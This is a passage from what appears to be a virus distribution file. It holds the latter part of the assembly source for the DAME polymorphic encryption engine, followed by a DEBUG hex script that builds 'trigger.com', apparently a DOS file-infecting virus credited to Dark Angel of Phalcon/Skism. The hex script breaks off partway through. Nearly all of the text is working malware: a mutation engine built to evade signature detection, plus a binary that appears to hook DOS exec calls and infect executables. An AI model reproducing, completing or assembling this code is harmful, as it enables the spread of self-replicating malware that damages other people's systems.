  1222.         jmp     short go_handle_jmp_table1
  1223.  
  1224. _mov_reg_reg_push_pop:
  1225.         push    ax
  1226.         xchg    dx,ax   ; al = reg2
  1227.         call    _push           ; push reg2
  1228.         pop     ax      ; al = reg1
  1229.         jmp     _pop            ; pop reg1
  1230. _mov_reg_reg:
  1231.         mov     ah,08Bh
  1232.         jmp     short _mod_reg_rm_direction
  1233.  
  1234. mov_xchg_reg_reg:
  1235.         call    one_in_two
  1236.         js      mov_reg_reg
  1237.  
  1238. xchg_reg_reg:
  1239.         mov     si,offset xchg_reg_reg_table
  1240.         jmp     handle_jmp_table
  1241.  
  1242. _xchg_reg_reg_push_pop:
  1243.         push    dx      ; save reg2
  1244.         push    ax      ; save reg1
  1245.         push    dx
  1246.         call    _push   ; push reg1
  1247.         pop     ax
  1248.         call    _push   ; push reg2
  1249.         pop     ax
  1250.         call    _pop    ; pop  reg1
  1251.         pop     ax
  1252.         jmp     _pop    ; pop  reg2
  1253.  
  1254. _xchg_reg_reg_3rd_reg:
  1255.         call    free_regs
  1256.         jne     _xchg_reg_reg
  1257.  
  1258.         push    dx      ; save reg2
  1259.         push    ax      ; save reg1
  1260.         call    get_another
  1261.         call    mov_xchg_reg_reg     ; mov/xchg reg3, reg2
  1262.         pop     dx      ; get reg1
  1263.         call    xchg_reg_reg    ; xchg reg3, reg1
  1264.         pop     dx      ; get reg2
  1265.         xchg    ax,dx   ; ax=reg2, dx=reg3
  1266.         call    mov_xchg_reg_reg    ; mov/xchg reg2, reg3
  1267.         jmp     clear_reg_dx
  1268.  
  1269. _xchg_reg_reg:
  1270.         or      al,al
  1271.         js      __xchg_reg_reg
  1272.  
  1273.         cmp     al,dl
  1274.         jg      _xchg_reg_reg_skip
  1275.         xchg    al,dl
  1276. _xchg_reg_reg_skip:
  1277.         or      dl,dl
  1278.         jz      _xchg_ax_reg
  1279. __xchg_reg_reg:
  1280.         xchg    al,dl
  1281.         mov     ah,87
  1282.         jmp     short _mod_reg_rm
  1283. _xchg_ax_reg:
  1284.         add     al,90
  1285.         stosb
  1286.         ret
  1287.  
  1288. xor_reg_xxxx_xor_xor:
  1289.         call    get_rand_bx
  1290.         push    bx
  1291.         xor     dx,bx
  1292.         call    xor_reg_xxxx
  1293.         pop     dx
  1294.         jmp     short xor_reg_xxxx
  1295.  
  1296. xor_reg_xxxx:
  1297.         mov     si,offset xor_reg_xxxx_table
  1298.         jmp     handle_jmp_table
  1299.  
  1300. _xor_reg_xxxx:
  1301.         or      al,030
  1302.         jmp     _81h_
  1303.  
  1304. xor_reg_reg:
  1305.         mov     si,offset xor_reg_reg_table
  1306.         jmp     handle_jmp_table
  1307.  
  1308. _xor_reg_reg:
  1309.         mov     ah,33
  1310. _mod_reg_rm_direction:
  1311.         or      al,al
  1312.         js      dodirection
  1313.         or      dl,dl
  1314.         js      _mod_reg_rm
  1315.         call    one_in_two
  1316.         js      _mod_reg_rm
  1317. dodirection:
  1318.         xchg    al,dl
  1319.         sub     ah,2
  1320. _mod_reg_rm:
  1321.         shl     al,1
  1322.         shl     al,1
  1323.         shl     al,1
  1324.         or      al,dl
  1325. mod_xxx_rm:
  1326.         or      al,al
  1327.         js      no_no_reg
  1328.  
  1329.         or      al,0c0
  1330. no_no_reg:
  1331.         xchg    ah,al
  1332.  
  1333.         test    ah,40
  1334.         jnz     exit_mod_reg_rm
  1335.  
  1336.         test    cl,1
  1337.         jnz     continue_mod_xxx_rm
  1338.  
  1339.         push    ax
  1340.         mov     al,2e
  1341.         stosb
  1342.         pop     ax
  1343. continue_mod_xxx_rm:
  1344.         stosw
  1345.  
  1346.         mov     si,cs:[bp]      ; need cs: overrides on bp
  1347.         add     si,si
  1348.         mov     cs:[si+bp+2],di
  1349.         inc     word ptr cs:[bp]
  1350.  
  1351.         mov     al,_relocate_amt
  1352.         cbw
  1353. exit_mod_reg_rm:
  1354.         stosw
  1355.         ret
  1356.  
  1357. add_reg_reg:
  1358.         mov     si,offset add_reg_reg_table
  1359.         jmp     handle_jmp_table
  1360.  
  1361. _add_reg_reg:
  1362.         mov     ah,3
  1363.         jmp     short _mod_reg_rm_direction
  1364.  
  1365. sub_reg_reg:
  1366.         mov     si,offset sub_reg_reg_table
  1367.         jmp     handle_jmp_table
  1368.  
  1369. _sub_reg_reg:
  1370.         mov     ah,2bh
  1371.         jmp     short _mod_reg_rm_direction
  1372.  
  1373. _add_reg_xxxx_inc_add:
  1374.         call    inc_reg
  1375.         dec     dx
  1376.         jmp     short add_reg_xxxx
  1377.  
  1378. _add_reg_xxxx_dec_add:
  1379.         call    dec_reg
  1380.         inc     dx
  1381.         jmp     short add_reg_xxxx
  1382.  
  1383. _add_reg_xxxx_add_add:
  1384.         call    get_rand_bx
  1385.         push    bx
  1386.         sub     dx,bx
  1387.         call    add_reg_xxxx
  1388.         pop     dx
  1389.         jmp     short add_reg_xxxx
  1390.  
  1391. add_reg_xxxx1:
  1392.         neg     dx
  1393. add_reg_xxxx:
  1394.         or      dx,dx
  1395.         jnz     cont
  1396. return1:
  1397.         ret
  1398. cont:
  1399.         mov     si,offset add_reg_xxxx_table
  1400.         jmp     handle_jmp_table
  1401.  
  1402. _add_reg_xxxx:
  1403.         or      al,al
  1404.         jz      _add_ax_xxxx
  1405. _81h_:
  1406.         or      al,al
  1407.         js      __81h
  1408.         add     al,0c0
  1409. __81h:
  1410.         mov     ah,81
  1411.         call    mod_xxx_rm
  1412. _encode_dx_:
  1413.         xchg    ax,dx
  1414.         stosw
  1415.         ret
  1416. _add_ax_xxxx:
  1417.         mov     al,5
  1418. _encode_al_dx_:
  1419.         stosb
  1420.         jmp     short _encode_dx_
  1421.  
  1422. sub_reg_xxxx1:
  1423.         neg     dx
  1424. sub_reg_xxxx:
  1425. _sub_reg_xxxx:
  1426.         or      dx,dx
  1427.         jz      return1
  1428.  
  1429.         or      al,al
  1430.         jz      _sub_ax_xxxx
  1431.         add     al,028
  1432.         jmp     short _81h_
  1433. _sub_ax_xxxx:
  1434.         mov     al,2dh
  1435.         jmp     short _encode_al_dx_
  1436.  
  1437. dec_reg:
  1438.         push    ax
  1439.         add     al,8
  1440.         jmp     short _dec_inc_reg
  1441. inc_reg:
  1442.         push    ax
  1443. _dec_inc_reg:
  1444.         or      al,al
  1445.         jns     _norm_inc
  1446.         mov     ah,0ff
  1447.         call    mod_xxx_rm
  1448.         pop     ax
  1449.         ret
  1450. _norm_inc:
  1451.         add     al,40
  1452.         stosb
  1453.         pop     ax
  1454.         ret
  1455.  
  1456. _mov_reg_reg_3rd_reg:
  1457.         mov     bx,offset mov_reg_reg
  1458.         mov     si,offset mov_xchg_reg_reg
  1459.         jmp     short reg_to_reg
  1460.  
  1461. xor_reg_reg_reg_reg:
  1462.         mov     bx,offset _xor_reg_reg
  1463.         jmp     short reg_to_reg1
  1464. add_reg_reg_reg_reg:
  1465.         mov     bx,offset _add_reg_reg
  1466.         jmp     short reg_to_reg1
  1467. sub_reg_reg_reg_reg:
  1468.         mov     bx,offset _sub_reg_reg
  1469. reg_to_reg1:
  1470.         mov     si,bx
  1471. reg_to_reg:
  1472.         call    free_regs
  1473.         jne     no_free_regs
  1474.  
  1475.         push    ax
  1476.         push    si
  1477.         call    get_another
  1478.         call    mov_reg_reg     ; mov reg3, reg2
  1479.         pop     si
  1480.         pop     dx              ; ax=reg3, dx=reg1
  1481.         xchg    ax,dx           ; ax=reg1, dx=reg3
  1482.  
  1483.         push    dx
  1484.         call    si
  1485.         pop     dx
  1486. go_clear_reg_dx:
  1487.         jmp     clear_reg_dx
  1488.  
  1489. _xor_reg_xxxx_reg_reg:
  1490.         mov     bx,offset xor_reg_xxxx
  1491.         mov     si,offset xor_reg_reg
  1492. xxxx_to_reg:
  1493.         call    free_regs
  1494.         jne     no_free_regs
  1495.  
  1496.         push    ax
  1497.         push    si
  1498.         call    get_another
  1499.         call    mov_reg_xxxx
  1500.         xchg    ax,dx
  1501.         pop     si
  1502.         pop     ax
  1503.  
  1504.         push    dx
  1505.         call    si
  1506.         pop     dx
  1507.         jmp     short go_clear_reg_dx
  1508. no_free_regs:
  1509.         jmp     bx
  1510.  
  1511. _add_reg_xxxx_reg_reg:
  1512.         mov     bx,offset add_reg_xxxx
  1513.         mov     si,offset add_reg_reg
  1514.         jmp     short xxxx_to_reg
  1515.  
  1516. _mov_reg_xxxx_reg_reg:
  1517.         mov     bx,offset mov_reg_xxxx
  1518.         mov     si,offset mov_xchg_reg_reg
  1519.         jmp     short xxxx_to_reg
  1520.  
  1521. garbletable:
  1522.         db      garbletableend - $ - 3
  1523.         dw      offset return
  1524.         dw      offset return
  1525.         dw      offset garble_tworeg
  1526.         dw      offset garble_tworeg
  1527.         dw      offset garble_onereg
  1528.         dw      offset garble_onereg
  1529.         dw      offset garble_onebyte
  1530.         dw      offset garble_jmpcond
  1531. garbletableend:
  1532.  
  1533. onebytetable:
  1534.         clc
  1535.         cmc
  1536.         stc
  1537.         cld
  1538.         std
  1539.         sti
  1540.         int     3
  1541.         lock
  1542.  
  1543. oneregtable:
  1544.         db      oneregtableend - $ - 3
  1545.         dw      offset xor_reg_xxxx
  1546.         dw      offset mov_reg_xxxx
  1547.         dw      offset sub_reg_xxxx
  1548.         dw      offset add_reg_xxxx
  1549.         dw      offset dec_reg
  1550.         dw      offset inc_reg
  1551.         dw      offset _ror
  1552.         dw      offset _rol
  1553. oneregtableend:
  1554.  
  1555. oneregtable1:
  1556.         db      oneregtable1end - $ - 3
  1557.         dw      offset xor_reg_xxxx
  1558.         dw      offset sub_reg_xxxx
  1559.         dw      offset add_reg_xxxx
  1560.         dw      offset add_reg_xxxx
  1561.         dw      offset dec_reg
  1562.         dw      offset inc_reg
  1563.         dw      offset _ror
  1564.         dw      offset _rol
  1565. oneregtable1end:
  1566.  
  1567. oneregtable2:
  1568.         db      oneregtable2end - $ - 3
  1569.         dw      offset xor_reg_xxxx
  1570.         dw      offset add_reg_xxxx
  1571.         dw      offset sub_reg_xxxx
  1572.         dw      offset sub_reg_xxxx
  1573.         dw      offset inc_reg
  1574.         dw      offset dec_reg
  1575.         dw      offset _rol
  1576.         dw      offset _ror
  1577. oneregtable2end:
  1578.  
  1579. tworegtable:
  1580.         db      tworegtableend - $ - 3
  1581.         dw      offset xor_reg_reg
  1582.         dw      offset mov_reg_reg
  1583.         dw      offset sub_reg_reg
  1584.         dw      offset add_reg_reg
  1585. tworegtableend:
  1586.  
  1587. tworegtable1:
  1588.         db      tworegtable1end - $ - 3
  1589.         dw      offset xor_reg_reg
  1590.         dw      offset xor_reg_reg
  1591.         dw      offset sub_reg_reg
  1592.         dw      offset add_reg_reg
  1593. tworegtable1end:
  1594.  
  1595. tworegtable2:
  1596.         db      tworegtable2end - $ - 3
  1597.         dw      offset xor_reg_reg
  1598.         dw      offset xor_reg_reg
  1599.         dw      offset add_reg_reg
  1600.         dw      offset sub_reg_reg
  1601. tworegtable2end:
  1602.  
  1603. mov_reg_xxxx_table:
  1604.         db      mov_reg_xxxx_table_end - $ - 3
  1605.         dw      offset _mov_reg_xxxx
  1606.         dw      offset _mov_reg_xxxx_reg_reg
  1607.         dw      offset _mov_reg_xxxx_mov_add
  1608.         dw      offset _mov_reg_xxxx_mov_al_ah
  1609.         dw      offset _mov_reg_xxxx_mov_xor
  1610.         dw      offset _mov_reg_xxxx_xor_add
  1611.         dw      offset _mov_reg_xxxx_mov_rol
  1612.         dw      offset _mov_reg_xxxx_mov_ror
  1613.  
  1614. mov_reg_xxxx_table_end:
  1615.  
  1616. mov_reg_reg_table:
  1617.         db      mov_reg_reg_table_end - $ - 3
  1618.         dw      offset _mov_reg_reg
  1619.         dw      offset _mov_reg_reg
  1620.         dw      offset _mov_reg_reg_3rd_reg
  1621.         dw      offset _mov_reg_reg_push_pop
  1622. mov_reg_reg_table_end:
  1623.  
  1624. xchg_reg_reg_table:
  1625.         db      xchg_reg_reg_table_end - $ - 3
  1626.         dw      offset _xchg_reg_reg
  1627.         dw      offset _xchg_reg_reg
  1628.         dw      offset _xchg_reg_reg_push_pop
  1629.         dw      offset _xchg_reg_reg_3rd_reg
  1630. xchg_reg_reg_table_end:
  1631.  
  1632. xor_reg_xxxx_table:
  1633.         db      xor_reg_xxxx_table_end - $ - 3
  1634.         dw      offset _xor_reg_xxxx
  1635.         dw      offset _xor_reg_xxxx
  1636.         dw      offset _xor_reg_xxxx_reg_reg
  1637.         dw      offset xor_reg_xxxx_xor_xor
  1638. xor_reg_xxxx_table_end:
  1639.  
  1640. xor_reg_reg_table:
  1641.         db      xor_reg_reg_table_end - $ - 3
  1642.         dw      offset _xor_reg_reg
  1643.         dw      offset xor_reg_reg_reg_reg
  1644. xor_reg_reg_table_end:
  1645.  
  1646. add_reg_reg_table:
  1647.         db      add_reg_reg_table_end - $ - 3
  1648.         dw      offset _add_reg_reg
  1649.         dw      offset add_reg_reg_reg_reg
  1650. add_reg_reg_table_end:
  1651.  
  1652. sub_reg_reg_table:
  1653.         db      sub_reg_reg_table_end - $ - 3
  1654.         dw      offset _sub_reg_reg
  1655.         dw      offset sub_reg_reg_reg_reg
  1656. sub_reg_reg_table_end:
  1657.  
  1658. add_reg_xxxx_table:
  1659.         db      add_reg_xxxx_table_end - $ - 3
  1660.         dw      offset _add_reg_xxxx
  1661.         dw      offset _add_reg_xxxx
  1662.         dw      offset _add_reg_xxxx_reg_reg
  1663.         dw      offset sub_reg_xxxx1
  1664.         dw      offset _add_reg_xxxx_inc_add
  1665.         dw      offset _add_reg_xxxx_dec_add
  1666.         dw      offset _add_reg_xxxx_add_add
  1667.         dw      offset _add_reg_xxxx_add_add
  1668.  
  1669. add_reg_xxxx_table_end:
  1670.  
  1671. endif
  1672.  
  1673. if vars eq 0
  1674. else
  1675.  
  1676. _nest                   db      ?       ; needed to prevent infinite recursion
  1677. _relocate_amt           db      ?
  1678.  
  1679. _loopstartencrypt       dw      ?
  1680. _loopstartdecrypt       dw      ?
  1681.  
  1682. _encryptpointer         dw      ?
  1683. _decryptpointer         dw      ?
  1684.  
  1685. _decryptpointer2        dw      ?
  1686.  
  1687. _start_encrypt          dw      ?
  1688. _start_decrypt          dw      ?
  1689.  
  1690. _used_regs              db      8 dup (?) ; 0 = unused
  1691.                                                         beginclear1:
  1692. _encrypt_relocate_num   dw      ?
  1693. _encrypt_relocator      dw      8 dup (?)
  1694.  
  1695. _decrypt_relocate_num   dw      ?
  1696. _decrypt_relocator      dw      10 dup (?)
  1697.                                                         endclear1:
  1698. _encrypt_length         dw      ?       ; based upon alignment
  1699.  
  1700. _counter_value          dw      ?       ; _counter_reg
  1701. _pointer_value          dw      ?
  1702. _decrypt_value          dw      ?
  1703.  
  1704. _dummy_reg              db      ?
  1705. _counter_reg            db      ?
  1706. _pointer_reg            db      ?       ; 4 = not in use
  1707. _encrypt_reg            db      ?
  1708.  
  1709. endif
  1710. -end dame.asm-------begin trigger.scr------------------------------------------
  1711. n trigger.com
  1712. e 0100  E8 6E 00 00 54 72 69 67 67 65 72 20 62 79 20 44 
  1713. e 0110  61 72 6B 20 41 6E 67 65 6C 20 6F 66 20 50 68 61 
  1714. e 0120  6C 63 6F 6E 2F 53 6B 69 73 6D 0D 0A 55 74 69 6C 
  1715. e 0130  69 73 69 6E 67 20 44 61 72 6B 20 41 6E 67 65 6C 
  1716. e 0140  27 73 20 4D 75 6C 74 69 70 6C 65 20 45 6E 63 72 
  1717. e 0150  79 70 74 6F 72 20 28 44 41 4D 45 29 0D 0A 0D 0A 
  1718. e 0160  00 72 FA 0E 1F BA 00 B8 B8 40 00 8E C0 26 81 3E 
  1719. e 0170  63 FC 5D B8 F0 0C BB 41 44 CD 21 81 FB 48 47 75 
  1720. e 0180  3C 1E 06 0E 1F 33 C0 8D 76 5E 8E C0 33 FF B9 08 
  1721. e 0190  00 F3 A7 74 08 40 3D 00 A0 72 EC EB 1C 89 86 AE 
  1722. e 01A0  00 8E D8 C6 06 73 00 CB 55 BD 80 FF EB 00 9A 01 
  1723. e 01B0  00 00 00 5D C6 06 73 00 1F 07 1F EB 7F B8 90 4B 
  1724. e 01C0  CD 21 3B C3 74 76 1E 06 8C D8 48 8E D8 81 2E 03 
  1725. e 01D0  00 80 01 81 2E 12 00 80 01 8E 06 12 00 0E 1F 33 
  1726. e 01E0  FF 8D 76 FD B9 D1 04 F3 A5 33 C0 8E D8 83 2E 13 
  1727. e 01F0  04 06 BF 1F 02 BE 84 00 A5 A5 FA 9C 9C 58 80 CC 
  1728. e 0200  01 50 8C 06 06 00 C7 06 04 00 7F 01 9D B4 30 9C 
  1729. e 0210  FF 1E 84 00 9D 26 C5 36 1F 02 8B FE AD 26 A3 F0 
  1730. e 0220  01 AD 26 A3 F5 01 AC 26 A2 FA 01 1E 06 1F 07 B0 
  1731. e 0230  EA AA B8 E2 01 AB 8C D8 AB FB 07 1F 83 FC FE 75 
  1732. e 0240  0B 8D B6 64 01 BF 00 01 57 A5 A5 C3 8C D8 05 10 
  1733. e 0250  00 2E 01 86 7A 01 2E 03 86 72 01 8E D0 2E 8B A6 
  1734. e 0260  74 01 2E FF AE 78 01 CD 20 00 00 00 00 00 00 00 
  1735. e 0270  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 
  1736. e 0280  8B EC 50 8B 46 04 2E 3B 06 21 02 73 0B 2E A3 21 
  1737. e 0290  02 8B 46 02 2E A3 1F 02 58 5D CF 55 8B EC 50 8C 
  1738. e 02A0  C8 3B 46 04 74 F2 8B 46 04 2E 3B 06 21 02 75 14 
  1739. e 02B0  8B 46 02 2E 3B 06 1F 02 72 0A 2D 05 00 2E 3B 06 
  1740. e 02C0  1F 02 76 D4 06 57 FC 2E C4 3E 1F 02 B0 EA AA B8 
  1741. e 02D0  E2 01 AB 8C C8 AB 5F 07 81 66 06 FF FE EB B9 8B 
  1742. e 02E0  D8 CF 3D 90 4B 74 F8 1E 57 2E C5 3E 1F 02 C7 05 
  1743. e 02F0  34 12 C7 45 02 34 12 C6 45 04 12 5F 1F FC 3D 00 
  1744. e 0300  4B 74 48 1E 50 33 C0 8E D8 FA C7 06 04 00 9B 01 
  1745. e 0310  8C 0E 06 00 FB 9C 58 80 CC 01 50 9D 58 1F EA 00 
  1746. e 0320  00 00 00 9C 2E FF 1E 1F 02 C3 5A 59 B8 01 57 E8 
  1747. e 0330  F1 FF B4 3E E8 EC FF B8 01 43 5A 1F 59 E8 E3 FF 
  1748. e 0340  07 1F 5F 5E 5D 5B 5A 59 58 EB B8 50 51 52 53 55 
  1749. e 0350  56 57 1E 06 B8 00 43 E8 C9 FF 51 1E 52 B8 01 43 
  1750. e 0360  33 C9 E8 BE FF B8 02 3D E8 B8 FF 72 CA 93 B8 00 
  1751. e 0370  57 CD 21 51 52 B4 3F B9 18 00 0E 1F 0E 07 BA 67 
  1752. e 0380  01 8B F2 E8 9D FF 72 A2 BF F9 09 B9 0C 00 56 57 
  1753. e 0390  F3 A5 5F 5E B8 02 42 33 C9 99 CD 21 81 3D 4D 5A 
  1754. e 03A0  75 2E 81 3E 77 01 53 50 74 80 A3 FD 09 89 16 FB 
  1755. e 03B0  09 B9 10 00 F7 F1 2B 06 01 0A 89 16 0D 0A A3 0F 
  1756. e 03C0  0A 87 CA A3 07 0A C7 06 09 0A 53 50 B0 02 EB 34 
  1757. e 03D0  50 B9 04 00 33 D2 AC 02 D0 E2 FB 58 0A D2 74 C8 
  1758. e 03E0  BA 18 00 3B C2 73 07 B8 00 42 33 C9 CD 21 8B C8 
  1759. e 03F0  FE C5 2D 03 00 50 B0 E9 AA 58 AB 02 C4 04 E9 F6 
  1760. e 0400  D8 AA B0 03 98 53 87 CB 33 F6 BF 11 0C B9 D1 04 
  1761. e 0410  F3 A5 50 E8 67 00 58 BA 11 0C B9 A1 09 BE 91 0A 
  1762. e 0420  BF 11 0A E8 A2 00 51 81 3E F9 09 4D 5A 75 21 8B 
  1763. e 0430  16 FB 09 A1 FD 09 81 C1 A1 09 03 C1 83 D2 00 B9 
  1764. e 0440  00 02 F7 F1 0B D2 74 01 40 A3 FD 09 89 16 FB 09 
  1765. e 0450  FF D7 59 5B B4 40 BA 91 0A E8 C7 FE B4 40 B9 A1 
  1766. e 0460  09 BA 11 0C E8 BC FE B8 00 42 33 C9 99 CD 21 B4 
  1767. e 0470  40 B9 18 00 BA F9 09 E8 A9 FE E9 AD FE 52 51 53 
  1768. e 0480  B4 2C CD 21 E4 40 8A E0 E4 40 33 C1 33 D0 EB 1C 
  1769. e 0490  52 51 53 E4 40 05 00 00 BA 00 00 B9 07 00 D1 E0 
  1770. e 04A0  D1 D2 8A D8 32 DE 79 02 FE C0 E2 F2 A3 96 03 89 
  1771. e 04B0  16 99 03 8A C2 5B 59 5A C3 87 00 86 84 85 03 07 
  1772. e 04C0  0F 1F 5F 5E 5A 59 5B 58 FC 50 53 51 52 56 57 E8 
  1773. e 04D0  07 00 5F 5E 5A 5B 5B 58 C3 FC 50 B8 A7 09 97 AB 
  1774. e 04E0  96 AB AB 92 AB 93 AB 87 CA E8 44 02 B9 1A 00 F3 
  1775. e 04F0  AB E8 9C FF 25 FC FF 59 33 C8 E8 75 02 83 E3 03 
  1776. e 0500  8A 87 BE 03 98 03 D0 F7 D0 23 D0 8B C2 AB D1 E8 
  1777. e 0510  F6 C5 40 74 02 D1 E8 F6 C5 10 75 02 F7 D8 AB 92 
  1778. e 0520  F6 C5 20 75 02 F7 D8 AB E8 65 FF AB B8 84 84 AA 
  1779. e 0530  57 AB AA 5F E8 33 02 78 0B E8 00 02 AA E8 50 FF 
  1780. e 0540  A3 F1 09 4F 47 EB 03 E8 07 02 E8 EF 01 3C 03 72 
  1781. e 0550  F6 AA E8 15 02 78 04 E8 E2 01 AA E8 D2 01 8B 3E 
  1782. e 0560  A9 09 E8 16 02 BE F5 09 56 E8 06 02 83 E3 03 8A 
  1783. e 0570  00 98 A8 80 75 F3 80 8F F5 09 80 8B F0 FE 84 B1 
  1784. e 0580  09 03 DB 8B 97 ED 09 C6 06 A1 09 00 E8 6F 02 E8 
  1785. e 0590  E9 01 E8 06 01 51 80 E1 FC E8 AC 02 59 89 3E A7 
  1786. e 05A0  09 5E BA 04 00 AC A8 80 74 B4 4A 75 F8 BE A7 09 
  1787. e 05B0  BF A3 09 A5 A5 C6 06 A2 09 00 E8 65 00 F6 C5 40 
  1788. e 05C0  74 08 C6 06 A2 09 02 E8 58 00 BB A3 09 51 80 E1 
  1789. e 05D0  FC E8 58 00 59 B8 FC C3 AB BE BB 09 8B 3E AD 09 
  1790. e 05E0  51 E8 19 00 59 BB A5 09 E8 41 00 E8 8A 01 89 3E 
  1791. e 05F0  A9 09 BE CD 09 2B 3E AB 09 03 3E AF 09 F6 C5 20 
  1792. e 0600  74 04 03 3E ED 09 2B 3E F1 09 8B 4C FE E3 08 97 
  1793. e 0610  97 AD 97 01 05 E2 F9 8B 3E A9 09 8B CF 2B 0E AB 
  1794. e 0620  09 C3 E8 84 00 E8 DA 00 E8 7E 00 C3 8B 7F 04 53 
  1795. e 0630  C6 06 A1 09 00 A0 F7 09 25 07 00 BA 02 00 F6 C5 
  1796. e 0640  40 74 02 D1 E2 F6 C5 20 74 02 F7 DA E8 F9 02 B2 
  1797. e 0650  75 A0 F6 09 25 07 00 3C 04 74 26 52 BA 01 00 F6 
  1798. e 0660  C5 10 74 19 3C 01 75 13 E8 FF 00 78 0E 5A E8 01 
  1799. e 0670  01 87 DA 80 E2 02 80 CA E0 EB 06 F7 DA E8 C8 02 
  1800. e 0680  5A 5B 8B 07 2B C7 48 48 86 E0 8A C2 F6 C4 80 75 
  1801. e 0690  05 58 58 E9 2C FE AB 89 7F 04 C3 C6 06 A1 09 0A 
  1802. e 06A0  89 3E A9 09 8B 3E A7 09 C3 8B 3E A9 09 E8 CB 00 
  1803. e 06B0  A0 F8 09 25 07 00 3C 04 74 E1 E8 B5 00 80 FB C0 
  1804. e 06C0  77 D9 E8 13 00 E8 DB 00 E8 D0 FF 51 80 E1 FC FF 
  1805. e 06D0  50 01 59 89 3E A7 09 C3 C6 06 A1 09 00 E8 8A 00 
  1806. e 06E0  78 08 E8 8D 00 BE 07 09 EB 15 E8 85 00 83 E3 07 
  1807. e 06F0  80 FB 04 74 F5 80 BF B1 09 00 74 EE BE 3A 09 87 
  1808. e 0700  D3 C3 8B 3E A9 09 E8 72 00 A0 F7 09 25 07 00 BB 
  1809. e 0710  B6 03 D7 BD CB 09 E8 BF FF E8 0B 00 E8 84 00 BD 
  1810. e 0720  B9 09 E8 02 00 EB A1 50 AC 98 03 F0 58 46 46 C3 
  1811. e 0730  33 C0 BF B1 09 AB AB 40 AB 48 AB C3 E8 51 FD 25 
  1812. e 0740  07 00 8B F0 80 BC B1 09 00 75 F1 FE 84 B1 09 C3 
  1813. e 0750  92 8B F0 C6 84 B1 09 00 C3 50 51 57 BF B1 09 B9 
  1814. e 0760  08 00 33 C0 F2 AE 5F 59 58 C3 50 E8 22 FD 0B C0 
  1815. e 0770  58 C3 93 E8 1A FD 93 C3 E8 00 00 C6 06 A1 09 00 
  1816. e 0780  E8 00 00 E8 D3 FF 75 EF F6 C1 02 74 EA 50 52 E8 
  1817. e 0790  FE FC 92 E8 A6 FF E8 B8 FF BE EE 08 EB 07 56 E8 
  1818. e 07A0  E1 FF 5E 50 52 56 51 91 AC 98 91 E8 C4 FF 23 D9 
  1819. e 07B0  59 FE 06 A1 09 80 3E A1 09 0A 72 02 33 DB 53 FF 
  1820. e 07C0  10 5B 5E 5A 58 C3 BE 3A 09 83 E2 07 EB D5 BE 07 
  1821. e 07D0  09 EB D0 92 24 07 BB FF 08 D7 AA C3 92 25 0F 00 
  1822. e 07E0  0C 70 AB C3 0A C0 78 04 04 50 AA C3 05 30 FF EB 
  1823. e 07F0  0A 0A C0 78 04 04 58 AA C3 B4 8F E9 F0 00 BE 55 
  1824. e 0800  09 EB 9B E8 6C FF 53 2B D3 E8 F2 FF 5A EB 23 3C 
  1825. e 0810  04 73 35 50 52 E8 38 00 5A 58 86 F2 EB 30 E8 51 
  1826. e 0820  FF 53 33 D3 E8 D7 FF 5A E9 96 00 52 8B D0 E8 9B 
  1827. e 0830  00 5A E9 13 01 D1 CA E8 C4 FF EB 07 D1 C2 E8 BD 
  1828. e 0840  FF 0C 08 B4 D1 E9 A6 00 04 B8 AA 92 AB C3 04 04 
  1829. e 0850  04 B0 8A E2 AB C3 BE 66 09 EB A6 50 92 E8 84 FF 
  1830. e 0860  58 EB 8E B4 8B EB 6D E8 00 FF 78 EA BE 6F 09 E9 
  1831. e 0870  2C FF 52 50 52 E8 6C FF 58 E8 68 FF 58 E8 71 FF 
  1832. e 0880  58 E9 6D FF E8 D2 FE 75 14 52 50 E8 AE FE E8 D6 
  1833. e 0890  FF 5A E8 D7 FF 5A 92 E8 CD FF E9 B3 FE 0A C0 78 
  1834. e 08A0  0A 3A C2 7F 02 86 C2 0A D2 74 06 86 C2 B4 87 EB 
  1835. e 08B0  35 04 90 AA C3 E8 BA FE 53 33 D3 E8 03 00 5A EB 
  1836. e 08C0  00 BE 78 09 E9 D7 FE 0C 30 E9 8B 00 BE 81 09 E9 
  1837. e 08D0  CC FE B4 33 0A C0 78 09 0A D2 78 0A E8 8B FE 78 
  1838. e 08E0  05 86 C2 80 EC 02 D0 E0 D0 E0 D0 E0 0A C2 0A C0 
  1839. e 08F0  78 02 0C C0 86 E0 F6 C4 40 75 1D F6 C1 01 75 05 
  1840. e 0900  50 B0 2E AA 58 AB 2E 8B 76 00 03 F6 2E 89 7A 02 
  1841. e 0910  2E FF 46 00 A0 A2 09 98 AB C3 BE 86 09 E9 7E FE 
  1842. e 0920  B4 03 EB B0 BE 8B 09 E9 74 FE B4 2B EB A6 E8 50 
  1843. e 0930  00 4A EB 14 E8 45 00 42 EB 0E E8 35 FE 53 2B D3 
  1844. e 0940  E8 05 00 5A EB 02 F7 DA 0B D2 75 01 C3 BE 90 09 
  1845. e 0950  E9 4B FE 0A C0 74 0E 0A C0 78 02 04 C0 B4 81 E8 
  1846. e 0960  8C FF 92 AB C3 B0 05 AA EB F8 F7 DA 0B D2 74 DC 
  1847. e 0970  0A C0 74 04 04 28 EB DF B0 2D EB EB 50 04 08 EB 
  1848. e 0980  01 50 0A C0 79 07 B4 FF E8 63 FF 58 C3 04 40 AA 
  1849. e 0990  58 C3 BB 56 07 BE 67 07 EB 0F BB D2 07 EB 08 BB 
  1850. e 09A0  20 08 EB 03 BB 2A 08 8B F3 E8 AD FD 75 2E 50 56 
  1851. e 09B0  E8 89 FD E8 A0 FE 5E 5A 92 52 FF D6 5A E9 90 FD 
  1852. e 09C0  BB C1 07 BE CC 07 E8 90 FD 75 11 50 56 E8 6C FD 
  1853. e 09D0  E8 2B FE 92 5E 58 52 FF D6 5A EB E1 FF E3 BB 48 
  1854. e 09E0  08 BE 1A 08 EB E0 BB FE 06 BE 67 07 EB D8 0E 77 
  1855. e 09F0  06 77 06 C6 06 C6 06 CE 06 CE 06 D3 06 DC 06 F8 
  1856. e 0A00  F5 F9 FC FD FB CC F0 0E C1 07 FE 06 6C 08 48 08 
  1857. e 0A10  7C 08 81 08 41 07 43 07 0E C1 07 6C 08 48 08 48 
  1858. e 0A20  08 7C 08 81 08 41 07 43 07 0E C1 07 48 08 6C 08 
  1859. e 0A30  6C 08 81 08 7C 08 43 07 41 07 06 CC 07 56 07 24 
  1860. e 0A40  08 1A 08 06 CC 07 CC 07 24 08 1A 08 06 CC 07 CC 
  1861. e 0A50  07 1A 08 24 08 0E 48 07 E6 08 03 07 0F 07 1E 07 
  1862. e 0A60  2B 07 35 07 3C 07 06 63 07 63 07 92 08 5B 07 06 
